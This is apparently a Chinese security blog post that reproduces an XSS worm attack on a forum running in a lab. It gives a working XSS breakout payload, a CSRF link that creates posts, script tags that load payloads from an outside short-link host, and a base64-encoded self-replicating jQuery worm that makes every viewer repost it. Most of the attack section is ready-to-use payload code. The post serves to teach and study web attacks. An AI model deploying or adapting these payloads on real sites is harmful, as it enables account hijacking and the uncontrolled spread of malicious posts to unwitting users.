XSS 蠕虫攻击

XSS 蠕虫攻击

Posted by 明心 on 2019-06-11

XSS 蠕虫攻击

一:前言

XSS蠕虫(跨站点脚本蠕虫)是一种跨站病毒,通常由脚本语言的JavaScript写成,它借由网站访问者传播。

实现XSS蠕虫攻击的关键在于如何利用XSS漏洞蠕虫攻击,一般利用存储型的XSS来进行蠕虫攻击,但也可利用反射型的XSS结合csrf漏洞同样可以造成蠕虫攻击。

例如:构造一个反射型XSS的url,通过钓鱼链接(或其他方法)发送给受害者诱使其点击,而payload引用写好的可以蠕虫的JS,JS要有转发该payload的功能,也可以结合CSRF完成恶意操作(如加关注,转发等)。当存储型的XSS漏洞与CSRF漏洞结合时,将会造成严重的危害,如在社交网站一个存储型XSS可以通过引用存在CSRF漏洞的链接,不需要构建JS代码,便可以轻松完成蠕虫的效果。

二:XSS蠕虫攻击复现

1:发现XSS漏洞

在注册账号之后,首先来到论坛的发表帖子的地方,提交内容可以看到帖子主题名限制输入长度,为2到64个字节,而且通过post参数提交帖子主题名和内容。

尝试title参数进行XSSpayload批量测试,发现网站限制发帖有时间限制,不能在30秒内重发发帖,手工测试payload,查看元素发现输入内容包含在div标签内,闭合后使用svg标签,payload为:bbbb”><svg/onload=alert(1)>,主题名处的payload被解析执行了。

2:构建蠕虫

先定义两个概念:

  • 母贴:母贴为攻击者最先发布的具有蠕虫功能的帖子或者评论或者留言等

  • 字帖:被母贴感染后用户自动发送的贴子或者评论或者留言等

蠕虫的关键是子贴的内容,子贴的内容必须是可控的才能造成蠕虫

2.1:如何蠕虫(思路分析,结合靶机)

在查看了前辈们利用蠕虫攻击的方式后,我总结了两种方法,这里分别用两种方式实验

(1):XSS结合CSRF

①:首先找到内容可以控制的且存在CSRF漏洞的地方,如留言板、评论处、提问处、发帖处等

操作如下:

更改为GET请求:

只要站内用户访问下面链接,将自动发送主题名和内容为“1111231231313”的帖子

1
http:/192.168.11.**/post.php?action=save&fid=2&cmd=topic&topictype=0&title=1111231231313&content=11121313213213213%0D%0A

②:将该CSRF链接插入到XSS中,结合两者,构造payload。如通过img标签或a标签等引用CSRF的链接,若CSRF链接够长还可缩短成短链接的形式(百度有)。

操作如下:

将上面的CSRF连接生成短链接:http://u6.gg/sE7MH

然后插入到XSS payload中:bb"<script src=http://u6.gg/sE7MH></script>

③:然后将②构造的payload插入CSRF中,构造成新的具有蠕虫功能的CSRF链接。那怎么插呢?既然CSRF参数可控,直接将该payload赋值给可控参数,新的具有蠕虫功能的CSRF链接就构造好了,因为一旦该链接触发,将会执行原CSRF链接的功能(留言或评论等),而留言或评论的内容将又是XSS和CSRF结合的 payload。

操作如下:

将XSS和CSRF结合的payload复制给CSRF的可控参数title和content

1
http:/192.168.11.**/post.php?action=save&fid=2&cmd=topic&topictype=0&title=bb"<script src=http://u6.gg/sE7MH></script>&content=bb"<script src=http://u6.gg/sE7MH></script>

④:将上面具有蠕虫功能的CSRF链接再次引用或插入到XSS payload中,如果链接过长,可以将链接缩短,缩成短链接的形式(百度有)。插入到XSS payload后,如果是存储型XSS,只要触发这个XSS就会触发XSRF,而XSRF又插入了XSS,而XSS又插入了CSRF的链接,反反复复,形成蠕虫。

操作如下:

将上面构造的CSRF链接生成短链接:http://u6.gg/sE7NL

将生成的短链接引入XSS payload中:bb"<script src=http://u6.gg/sE7NL></script>

这时只需要在存在XSS漏洞的地方执行此payload便可以造成蠕虫

(2):编写具有蠕虫功能的JS,通过XSS引用执行JS,实现JS代码构造的功能

①:通过查看元素看网络传输,发现该网站是通过jQuery来加载JS的,确定是jQuery,可以很方便的利用jquery构造payload。

②:编写JS脚本,而JS脚本的功能要有:

  • 创建一个子帖

  • 子帖的内容是重新创建一个子贴,而子贴创建的子贴的内容又是重新创建一个子贴,实现蠕虫

JS代码为:

1
$.post("/post.php?action=save&fid=2&cmd=topic&topictype=0",{ title: "<svg/onload=eval(atob(jQuery('.content:first').html()))>", content: "JC5wb3N0KCIvcG9zdC5waHA/YWN0aW9uPXNhdmUmZmlkPTImY21kPXRvcGljJnRvcGljdHlwZT0wIix7IHRpdGxlOiAieHNzIHdvcm08c3ZnL29ubG9hZD1ldmFsKGF0b2IoalF1ZXJ5KCcuY29udGVudDpmaXJzdCcpLmh0bWwoKSkpPiIsIGNvbnRlbnQ6ICIiIH0pOw==" })

来分析一下这段代码

可以明显看到post请求数据,然后titlecontent的值以字典形式发送。title的值为一个svg标签,jQuery(".content:first").html())即可获得当前帖子的内容,贴子内容也就是content的值为:

1
JC5wb3N0KCIvcG9zdC5waHA/YWN0aW9uPXNhdmUmZmlkPTImY21kPXRvcGljJnRvcGljdHlwZT0wIix7IHRpdGxlOiAieHNzIHdvcm08c3ZnL29ubG9hZD1ldmFsKGF0b2IoalF1ZXJ5KCcuY29udGVudDpmaXJzdCcpLmh0bWwoKSkpPiIsIGNvbnRlbnQ6ICIiIH0pOw==

该内容是通过base64加密的,所以在svg标签内通过eval解码

content的值解密后为:

$.post("/post.php?action=save&fid=2&cmd=topic&topictype=0",{ title: "xss worm<svg/onload=eval(atob(jQuery('.content:first').html()))>", content: "" });

很明显该内容又会再次创建一个子贴

将设计好的JS代码base64编码,这样内容部分的payload就完成了。如下:

1
JC5wb3N0KCIvcG9zdC5waHA/YWN0aW9uPXNhdmUmZmlkPTImY21kPXRvcGljJnRvcGljdHlwZT0wIix7IHRpdGxlOiAiPHN2Zy9vbmxvYWQ9ZXZhbChhdG9iKGpRdWVyeSgnLmNvbnRlbnQ6Zmlyc3QnKS5odG1sKCkpKT4iLCBjb250ZW50OiAiSkM1d2IzTjBLQ0l2Y0c5emRDNXdhSEEvWVdOMGFXOXVQWE5oZG1VbVptbGtQVEltWTIxa1BYUnZjR2xqSm5SdmNHbGpkSGx3WlQwd0lpeDdJSFJwZEd4bE9pQWllSE56SUhkdmNtMDhjM1puTDI5dWJHOWhaRDFsZG1Gc0tHRjBiMklvYWxGMVpYSjVLQ2N1WTI5dWRHVnVkRHBtYVhKemRDY3BMbWgwYld3b0tTa3BQaUlzSUdOdmJuUmxiblE2SUNJaUlIMHBPdz09IiB9KQ==

②:JS写好了,需要XSS引用去执行它

这里的XSS地方是贴子的主题,来引用帖子内容写的JS脚本

payload为:XSS WORM<svg/onload=eval(atob(jQuery(".content:first").html()))>

XSS WORM是母帖主题名内容,然后通过svg标签中的 onload事件执行写在内容里的JS脚本,触发蠕虫。

当攻击者发布母贴后,查看后首先会自己触发蠕虫,再次转发:

截图可以看到子贴的内容均为:如下内容base64编码后的结果

$.post("/post.php?action=save&fid=2&cmd=topic&topictype=0",{ title: "xss worm<svg/onload=eval(atob(jQuery('.content:first').html()))>", content: "" });

当我以另外一个用户身份登陆查看时,触发该蠕虫自动转发:

2.2:相关参考链接和拓展阅读

http://www.anquan.us/static/bugs/wooyun-2014-088810.html(中国移动微博存储型XSS 可蠕虫(附蠕虫POC))

http://www.anquan.us/static/bugs/wooyun-2014-072627.html( 中国电信天翼云网盘高危XSS可蠕虫)

http://www.anquan.us/static/bugs/wooyun-2014-072627.html(赶集网主站存储型XSS结合蠕虫)

https://www.freebuf.com/articles/network/190392.html

http://www.anquan.us/static/bugs/wooyun-2014-073160.html(万达电影主站 xss + csrf 蠕虫)

3:总结

XSS的漏洞比较常见,但由于其危害较小,很难直接getshell,容易被忽略。但利用的方法有很多,只要结合CSRF,就能发挥出不一样的威力。即便是最废的“自插型”XSS结合CSRF漏洞,也有可能进行蠕虫。

(参考链接:http://www.anquan.us/static/bugs/wooyun-2015-089852.html